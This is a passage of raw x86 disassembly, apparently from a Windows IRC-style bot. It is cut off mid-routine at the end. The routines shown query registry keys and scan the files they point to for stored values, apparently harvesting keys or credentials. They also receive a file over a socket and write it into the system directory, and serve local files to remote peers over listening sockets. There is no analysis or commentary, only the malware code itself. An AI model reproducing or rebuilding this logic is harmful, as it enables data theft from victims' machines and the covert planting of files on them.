		jz	short loc_41840C
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418456
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4441CC	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_418459
; ---------------------------------------------------------------------------


loc_418456:				; CODE XREF: sub_4183AB+96j
		mov	[ebp+Size], ebx


loc_418459:				; CODE XREF: sub_4183AB+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_41840C
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_418480
		xor	ebx, ebx
		inc	ebx
		jmp	loc_4185DC
; ---------------------------------------------------------------------------


loc_418480:				; CODE XREF: sub_4183AB+CBj
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_41849D
		push	[ebp+Src]
		push	[ebp+Size]
		push	42Ch
		push	edi
		call	dword_4441CC	; SendMessageA


loc_41849D:				; CODE XREF: sub_4183AB+DEj
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4184B8
		mov	ecx, 0A0h


loc_4184B8:				; CODE XREF: sub_4183AB+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_4184C2
		push	78h
		pop	eax


loc_4184C2:				; CODE XREF: sub_4183AB+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418507
		push	esi
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4441CC	; SendMessageA


loc_418507:				; CODE XREF: sub_4183AB+14Aj
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418524
		lea	eax, [ebp+var_68]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4441CC	; SendMessageA


loc_418524:				; CODE XREF: sub_4183AB+165j
		push	edi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], 1
		mov	[ebp+var_30], 5
		mov	[ebp+var_68], 1046Ah
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418562
		lea	eax, [ebp+var_68]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4441CC	; SendMessageA


loc_418562:				; CODE XREF: sub_4183AB+1A3j
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_41857D
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4441CC	; SendMessageA


loc_41857D:				; CODE XREF: sub_4183AB+1C0j
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418596
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4441CC	; SendMessageA


loc_418596:				; CODE XREF: sub_4183AB+1DBj
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_4185B3
		push	[ebp+Src]
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4441CC	; SendMessageA


loc_4185B3:				; CODE XREF: sub_4183AB+1F4j
		push	[ebp+Src]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_4185DC
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4441CC	; SendMessageA


loc_4185DC:				; CODE XREF: sub_4183AB+63j
					; sub_4183AB+D0j ...
		push	edi
		call	dword_4440F8	; DestroyWindow
		mov	eax, ebx


loc_4185E5:				; CODE XREF: sub_4183AB+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4183AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185EA	proc near		; CODE XREF: sub_40274D+23F1p

Dest		= byte ptr -3F4h
var_2F0		= dword	ptr -2F0h
var_F0		= byte ptr -0F0h
Str		= byte ptr -70h
var_C		= dword	ptr -0Ch
File		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_442A9C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_418796
		push	esi
		push	edi
		mov	eax, offset off_442A9C
		mov	esi, offset dword_442AA8
		mov	edi, offset asc_436B94 ; "-"


loc_41861A:				; CODE XREF: sub_4185EA+1A4j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_444238	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4440B8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_41877D
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_418741
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSS_0	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	offset aR	; "r"
		push	eax		; char *
		call	_fopen
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_41877D
		push	eax
		jmp	short loc_4186AA
; ---------------------------------------------------------------------------


loc_418695:				; CODE XREF: sub_4185EA+D0j
		push	dword ptr [esi+4] ; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4186BE
		push	[ebp+File]	; File


loc_4186AA:				; CODE XREF: sub_4185EA+A9j
		lea	eax, [ebp+Str]
		push	64h		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418695
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_4186BE:				; CODE XREF: sub_4185EA+BBj
		push	3Dh		; Val
		push	dword ptr [esi+4] ; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+Str]
		jz	short loc_4186FD
		push	offset asc_436B90 ; "="
		push	eax		; Str
		call	_strtok
		push	offset asc_436B90 ; "="
		push	ebx		; Str
		call	_strtok
		push	eax
		push	dword ptr [esi-4]
		lea	eax, [ebp+var_2F0]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		jmp	short loc_418711
; ---------------------------------------------------------------------------


loc_4186FD:				; CODE XREF: sub_4185EA+E5j
		push	eax
		push	dword ptr [esi-4]
		lea	eax, [ebp+var_2F0]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_418711:				; CODE XREF: sub_4185EA+111j
		push	ebx		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_2F0]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_417D70
		add	esp, 18h


loc_418736:				; CODE XREF: sub_4185EA+D2j
		push	[ebp+File]	; File
		call	_fclose
		pop	ecx
		jmp	short loc_41877D
; ---------------------------------------------------------------------------


loc_418741:				; CODE XREF: sub_4185EA+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		push	dword ptr [esi-4]
		lea	eax, [ebp+var_2F0]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_2F0]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_417D70
		add	esp, 28h


loc_41877D:				; CODE XREF: sub_4185EA+60j
					; sub_4185EA+A2j ...
		push	[ebp+var_4]
		call	dword_4441E8	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], ebx
		jnz	loc_41861A
		pop	edi
		pop	esi


loc_418796:				; CODE XREF: sub_4185EA+19j
		pop	ebx
		leave
		retn
sub_4185EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_418799	proc near		; DATA XREF: sub_40274D+934o

Dst		= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 11B4h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_1B4]
		rep movsd
		push	[ebp+74h+var_14]
		xor	edi, edi
		inc	edi
		mov	[eax+1B0h], edi
		lea	eax, [ebp+74h+var_1AC]
		push	eax
		call	sub_41A1C6
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+74h+arg_0], esi
		jnz	short loc_41882D
		lea	eax, [ebp+74h+Dst]
		push	offset asc_436C10 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		cmp	[ebp+74h+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_418811
		push	ebx		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	esi		; int
		call	sub_40123B
		add	esp, 14h


loc_418811:				; CODE XREF: sub_418799+5Ej
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_10]
		call	sub_40B149
		pop	ecx


loc_418826:				; CODE XREF: sub_418799+F4j
		pop	ecx
		push	edi
		jmp	loc_41894F
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_418799+44j
		push	offset byte_42B633
		push	esi
		call	sub_41C9D4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jnz	short loc_41888F
		lea	eax, [ebp+74h+Dst]
		push	offset asc_436BE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		cmp	[ebp+74h+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_418871
		push	ebx		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	esi		; int
		call	sub_40123B
		add	esp, 14h


loc_418871:				; CODE XREF: sub_418799+BEj
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		pop	ecx
		push	esi
		call	dword_444218	; closesocket
		push	[ebp+74h+var_10]
		call	sub_40B149
		jmp	short loc_418826
; ---------------------------------------------------------------------------


loc_41888F:				; CODE XREF: sub_418799+A4j
		mov	edi, ds:dword_42B014
		push	64h
		call	edi	; Sleep
		mov	esi, 1000h
		xor	ebx, ebx
		jmp	short loc_4188D6
; ---------------------------------------------------------------------------


loc_4188A2:				; CODE XREF: sub_418799+162j
		lea	eax, [ebp+74h+Dst]
		push	offset asc_42CDD8 ; "\n"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+74h+Dst]
		push	eax		; Str
		call	sub_41C7BD
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4188FD
		push	64h
		call	edi	; Sleep
		push	0Ah
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jz	short loc_4188FD


loc_4188D6:				; CODE XREF: sub_418799+107j
		push	esi		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_444064	; recv
		test	eax, eax
		jg	short loc_4188A2


loc_4188FD:				; CODE XREF: sub_418799+12Bj
					; sub_418799+13Bj
		lea	eax, [ebp+74h+Dst]
		push	offset asc_436BAC ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+74h+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41892F
		push	ebx		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41892F:				; CODE XREF: sub_418799+17Aj
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		pop	ecx
		push	[ebp+74h+arg_0]
		call	dword_444218	; closesocket
		push	[ebp+74h+var_10]
		call	sub_40B149
		pop	ecx
		push	ebx


loc_41894F:				; CODE XREF: sub_418799+8Fj
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_418799	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_418956	proc near		; DATA XREF: sub_40274D+7452o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
Dest		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
Str		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dst		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0A04h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_1FC]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+74h+var_10], esi
		mov	[ebp+74h+var_C], esi
		mov	[ebp+74h+var_20], esi
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+74h+var_18], edi
		jnz	short loc_4189A6
		push	offset unk_436D10
		jmp	loc_418B59
; ---------------------------------------------------------------------------


loc_4189A6:				; CODE XREF: sub_418956+44j
		push	10h		; Size
		lea	eax, [ebp+74h+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	esi
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		mov	word ptr [ebp+74h+var_2E], ax
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		mov	[ebp+74h+var_2E+2], esi
		call	dword_4441E4	; bind
		test	eax, eax
		jz	short loc_4189E4
		push	offset unk_436CEC
		jmp	loc_418B59
; ---------------------------------------------------------------------------


loc_4189E4:				; CODE XREF: sub_418956+82j
		lea	eax, [ebp+74h+var_1C]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		mov	[ebp+74h+var_1C], 10h
		call	dword_444068	; getsockname
		push	[ebp+74h+var_2E]
		call	dword_444200	; htons
		mov	[ebp+74h+arg_0], esi
		mov	[ebp+74h+var_4], eax
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx


loc_418A16:				; CODE XREF: sub_418956+F1j
		mov	ecx, [ebp+74h+arg_0]
		mov	al, [ebp+ecx+74h+Str]
		cmp	al, 20h
		jnz	short loc_418A29
		push	5Fh
		pop	eax
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A29:				; CODE XREF: sub_418956+CCj
		movsx	eax, al


loc_418A2C:				; CODE XREF: sub_418956+D1j
		mov	[ebp+ecx+74h+var_604], al
		lea	eax, [ebp+74h+Str]
		inc	ecx
		push	eax		; Str
		mov	[ebp+74h+arg_0], ecx
		call	_strlen
		cmp	[ebp+74h+arg_0], eax
		pop	ecx
		jbe	short loc_418A16
		push	ebx
		push	edi
		call	dword_444230	; listen
		test	eax, eax
		jz	short loc_418A5F
		push	offset asc_436C10 ; "-"
		jmp	loc_418B59
; ---------------------------------------------------------------------------


loc_418A5F:				; CODE XREF: sub_418956+FDj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		push	80000000h
		lea	eax, [ebp+74h+Str]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_8], eax
		jnz	short loc_418A89
		push	offset unk_436CCC
		jmp	loc_418B59
; ---------------------------------------------------------------------------


loc_418A89:				; CODE XREF: sub_418956+127j
		push	esi
		push	eax
		call	ds:dword_42B0BC	; GetFileSize
		push	eax
		mov	[ebp+74h+arg_0], eax
		movzx	eax, word ptr [ebp+74h+var_4]
		push	eax
		push	[ebp+74h+var_1FC]
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		push	eax
		call	dword_444234	; htonl
		push	eax
		lea	eax, [ebp+74h+Str]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset dword_436CB4 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	esi		; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_DC]
		push	eax		; Str
		push	[ebp+74h+var_1FC] ; int
		call	sub_40123B
		add	esp, 2Ch
		lea	eax, [ebp+74h+var_38]
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+74h+var_500]
		push	eax
		push	esi
		mov	[ebp+74h+var_38], 3Ch
		mov	[ebp+74h+var_34], esi
		mov	[ebp+74h+var_4FC], edi
		mov	[ebp+74h+var_500], ebx
		call	dword_4441B0	; select
		test	eax, eax
		jg	short loc_418B33
		push	esi		; int
		push	[ebp+74h+var_54] ; int
		lea	eax, [ebp+74h+var_DC]
		push	offset dword_436C9C ; int
		push	eax		; Str
		push	[ebp+74h+var_1FC] ; int
		call	sub_40123B
		jmp	loc_418C57
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418956+1BEj
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	eax
		push	edi
		mov	[ebp+74h+var_14], 10h
		call	dword_4440BC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_1F8], eax
		jnz	short loc_418B6C
		push	offset asc_436C78 ; "-"


loc_418B59:				; CODE XREF: sub_418956+4Bj
					; sub_418956+89j ...
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_418C5A
; ---------------------------------------------------------------------------


loc_418B6C:				; CODE XREF: sub_418956+1FCj
		push	edi
		call	dword_444218	; closesocket
		cmp	[ebp+74h+arg_0], esi
		jz	loc_418C1E
		mov	edi, 400h


loc_418B81:				; CODE XREF: sub_418956+2BFj
		mov	eax, [ebp+74h+arg_0]
		cmp	eax, edi
		mov	[ebp+74h+var_4], edi
		jge	short loc_418B8E
		mov	[ebp+74h+var_4], eax


loc_418B8E:				; CODE XREF: sub_418956+233j
		push	edi		; Size
		lea	eax, [ebp+74h+var_A04]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+74h+arg_0]
		add	esp, 0Ch
		push	2
		push	esi
		neg	eax
		push	eax
		push	[ebp+74h+var_8]
		call	ds:dword_42B0B8	; SetFilePointer
		push	esi
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	[ebp+74h+var_4]
		lea	eax, [ebp+74h+var_A04]
		push	eax
		push	[ebp+74h+var_8]
		call	ds:dword_42B080	; ReadFile
		push	esi
		push	[ebp+74h+var_4]
		lea	eax, [ebp+74h+var_A04]
		push	eax
		push	[ebp+74h+var_1F8]
		call	dword_4441A0	; send
		mov	[ebp+74h+var_4], eax
		cdq
		add	[ebp+74h+var_10], eax
		push	esi
		push	edi
		adc	[ebp+74h+var_C], edx
		lea	eax, [ebp+74h+var_A04]
		push	eax
		push	[ebp+74h+var_1F8]
		call	dword_444064	; recv
		cmp	eax, ebx
		jl	loc_418CB0
		mov	eax, [ebp+74h+var_4]
		cmp	eax, ebx
		jl	loc_418CB0
		sub	[ebp+74h+arg_0], eax
		jnz	loc_418B81
		mov	edi, [ebp+74h+var_18]


loc_418C1E:				; CODE XREF: sub_418956+220j
		push	[ebp+74h+var_8]
		call	ds:dword_42B004	; CloseHandle
		push	[ebp+74h+var_C]
		push	[ebp+74h+var_10]
		call	sub_419443
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+74h+var_44]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Str]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_436C4C ; "-"
		push	eax		; Dest
		call	_sprintf


loc_418C57:				; CODE XREF: sub_418956+1D8j
		add	esp, 14h


loc_418C5A:				; CODE XREF: sub_418956+211j
		cmp	[ebp+74h+var_50], esi
		jnz	short loc_418C7C
		push	esi		; int
		push	[ebp+74h+var_54] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_DC]
		push	eax		; Str
		push	[ebp+74h+var_1FC] ; int
		call	sub_40123B
		add	esp, 14h


loc_418C7C:				; CODE XREF: sub_418956+307j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		cmp	edi, esi
		pop	ecx
		jbe	short loc_418C94
		push	edi
		call	dword_444218	; closesocket


loc_418C94:				; CODE XREF: sub_418956+335j
		push	[ebp+74h+var_1F8]
		call	dword_444218	; closesocket
		push	[ebp+74h+var_58]
		call	sub_40B149
		pop	ecx
		push	esi


loc_418CAA:				; CODE XREF: sub_418956+392j
		call	ds:dword_42B068	; ExitThread


loc_418CB0:				; CODE XREF: sub_418956+2ABj
					; sub_418956+2B6j
		push	esi		; int
		push	[ebp+74h+var_54] ; int
		mov	esi, offset asc_436C34 ; "-"
		push	esi		; int
		lea	eax, [ebp+74h+var_DC]
		push	eax		; Str
		push	[ebp+74h+var_1FC] ; int
		call	sub_40123B
		push	esi
		call	sub_417D70
		add	esp, 18h
		push	[ebp+74h+var_1F8]
		call	dword_444218	; closesocket
		push	[ebp+74h+var_58]
		call	sub_40B149
		pop	ecx
		push	ebx
		jmp	short loc_418CAA
sub_418956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_418CEA	proc near		; DATA XREF: sub_40274D+6FEo

Dst		= byte ptr -14C4h
var_4C4		= dword	ptr -4C4h
Dest		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 14C4h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_1C0]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		push	104h
		lea	eax, [ebp+74h+Dest]
		xor	ebx, ebx
		push	eax
		mov	[ebp+74h+var_8], ebx
		call	ds:dword_42B010	; GetSystemDirectoryA
		lea	eax, [ebp+74h+var_1A4]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	eax
		push	offset aSS	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418D70
		push	offset unk_436DB0
		jmp	short loc_418DB6
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418CEA+7Dj
		push	eax
		call	ds:dword_42B004	; CloseHandle
		lea	eax, [ebp+74h+Dest]
		push	offset aAB	; "a+b"
		push	eax		; char *
		call	_fopen
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+74h+File],	eax
		jnz	short loc_418D98
		push	offset unk_436D80
		jmp	short loc_418DB6
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418CEA+A5j
		push	[ebp+74h+var_20]
		lea	eax, [ebp+74h+var_1B8]
		push	eax
		call	sub_41A1C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+74h+arg_0], eax
		jnz	short loc_418DC9
		push	offset asc_436D60 ; "-"


loc_418DB6:				; CODE XREF: sub_418CEA+84j
					; sub_418CEA+ACj
		lea	eax, [ebp+74h+var_4C4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_418EBF
; ---------------------------------------------------------------------------


loc_418DC9:				; CODE XREF: sub_418CEA+C5j
		mov	esi, 1000h


loc_418DCE:				; CODE XREF: sub_418CEA+14Aj
		push	esi		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_444064	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_418E91
		cmp	edi, 0FFFFFFFFh
		jz	short loc_418E36
		push	[ebp+74h+File]	; File
		lea	eax, [ebp+74h+Dst]
		push	edi		; Count
		push	1		; Size
		push	eax		; Str
		call	_fwrite
		add	[ebp+74h+var_8], edi
		add	esp, 10h
		push	[ebp+74h+var_8]
		call	dword_444234	; htonl
		push	ebx
		mov	[ebp+74h+var_C], eax
		push	4
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_4441A0	; send
		jmp	short loc_418DCE
; ---------------------------------------------------------------------------


loc_418E36:				; CODE XREF: sub_418CEA+114j
		lea	eax, [ebp+74h+var_4C4]
		push	offset asc_436C34 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+74h+var_18] ; int
		lea	eax, [ebp+74h+var_4C4]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_1C0] ; int
		call	sub_40123B
		lea	eax, [ebp+74h+var_4C4]
		push	eax
		call	sub_417D70
		push	[ebp+74h+File]	; File
		call	_fclose
		add	esp, 24h
		push	[ebp+74h+arg_0]
		call	dword_444218	; closesocket
		push	[ebp+74h+var_1C]
		call	sub_40B149
		pop	ecx
		push	1
		jmp	loc_418F14
; ---------------------------------------------------------------------------


loc_418E91:				; CODE XREF: sub_418CEA+10Bj
		mov	eax, [ebp+74h+var_8]
		cdq
		push	edx
		push	eax
		call	sub_419443
		push	eax
		lea	eax, [ebp+74h+var_1B8]
		push	eax
		lea	eax, [ebp+74h+var_1A4]
		push	eax
		lea	eax, [ebp+74h+var_4C4]
		push	offset asc_436D34 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch


loc_418EBF:				; CODE XREF: sub_418CEA+DAj
		cmp	[ebp+74h+var_14], ebx
		jnz	short loc_418EE1
		push	ebx		; int
		push	[ebp+74h+var_18] ; int
		lea	eax, [ebp+74h+var_4C4]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_1C0] ; int
		call	sub_40123B
		add	esp, 14h


loc_418EE1:				; CODE XREF: sub_418CEA+1D8j
		lea	eax, [ebp+74h+var_4C4]
		push	eax
		call	sub_417D70
		cmp	[ebp+74h+File],	ebx
		pop	ecx
		jz	short loc_418EFC
		push	[ebp+74h+File]	; File
		call	_fclose
		pop	ecx


loc_418EFC:				; CODE XREF: sub_418CEA+207j
		cmp	[ebp+74h+arg_0], ebx
		jbe	short loc_418F0A
		push	[ebp+74h+arg_0]
		call	dword_444218	; closesocket


loc_418F0A:				; CODE XREF: sub_418CEA+215j
		push	[ebp+74h+var_1C]
		call	sub_40B149
		pop	ecx
		push	ebx


loc_418F14:				; CODE XREF: sub_418CEA+1A2j
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_418CEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418F1B	proc near		; CODE XREF: sub_418F38+11Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_418F37


